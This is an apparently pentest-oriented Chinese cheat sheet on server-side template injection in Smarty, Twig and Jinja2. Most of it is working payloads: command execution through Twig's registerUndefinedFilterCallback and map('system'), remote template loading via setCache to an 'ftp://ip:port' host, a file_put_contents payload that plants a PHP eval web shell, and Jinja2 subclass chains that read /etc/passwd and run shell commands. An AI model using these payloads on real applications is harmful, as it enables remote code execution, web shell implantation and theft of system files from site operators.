探测
使用${{<%[%'"}}%\
测试,如引发异常,说明可能存在模板注入。
识别
利用
Smarty
一般情况下输入{$smarty.version}
就可以看到返回的smarty的版本号
{literal}
可以让一个模板区域的字符原样输出
对于php5的环境我们就可以使用
<script language="php">phpinfo();</script>
PHP7,这种方法就 失效
Smarty的{if}
条件判断和PHP的if 非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if}
. 也可以使用{else}
和 {elseif}
. 全部的PHP条件表达式和函数都可以在if内使用,如*||*,or,&&,and,is_array()
, 等等
{if phpinfo()}{/if}
,可以执行phpinfo()
{if php代码}{/if}
Twig
if/elseif/else/ for以及程序块之类的可以出现在 {{% ... %}}
中
在 Twig 模板中可以直接调用函数如range()
Twig 提供的 include函数可以使你更方便地在模板中引入模板,并将该模板已渲染后的内容返回到当前模板
例如
{{ include('sidebar.html') }}
1.x
在twig 1.x中,主要利用的是_self
变量,它会返回当前 \Twig\Template
实例,并提供了指向 Twig_Environment的 env属性,这样我们就可以继续调用 Twig_Environment
中的其他方法
payload
{{_self.env.setCache("ftp://ip:port")}}{{_self.env.loadTemplate("backdoor")}}
通过调用setCache方法改变twig加载php的路径,在allow_url_include开启的条件下,我们就可以实现远程文件包含
在getFilter方法中存在call_user_func回调函数,通过传入参数我们可以借此调用任意函数
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
// Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
twig2.x/3.x
map过滤器
map过滤器将箭头函数应用于序列或映射的元素。arrow函数接收序列或映射的值
payload:
{{["whoami"]|map("system")}}
{{["whoami"]|map("passthru")}}
{{["whoami"]|map("exec")}} // 无回显
{{{"<?php phpinfo();eval($_POST[whoami]);":"./shell.php"}|map("file_put_contents")}} //shell
map所对应的函数如下
function twig_array_map($array $arrow){
$r = [];
foreach ($array as $k => $v) {
$r[$k] = $arrow($v $k);
}
return $r;
}
其中传入的 $arrow
直接就被当成函数执行,即 $arrow($v, $k)
,而 $v
和 $k
分别是 $array
中的 value 和 key。$array
和$arrow
是可控的
相似的还有filter
、reduce
jinja2
__class__
用于返回该对象所属的类,比如字符串,所属的类为<class ‘str’>
__bases__
以元组的形式返回一个类所直接继承的类。
__base__
以字符串返回一个类所直接继承的第一个类。
__mro__
返回解析方法调用的顺序。
__subclasses__()
获取类的所有子类。
__init__
所有自带类都包含init方法。
__globals__
用于获取function所处空间下可使用的module、方法以及所有变量。
使用内置类对象用__class__
拿到他所对应的类,用__bases__
拿到基类(<class 'object'>
) 用__subclasses__()
拿到子类列表,在子类列表中直接寻找可以利用的类getshell
payload
#读文件:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
#写文件:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}
#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}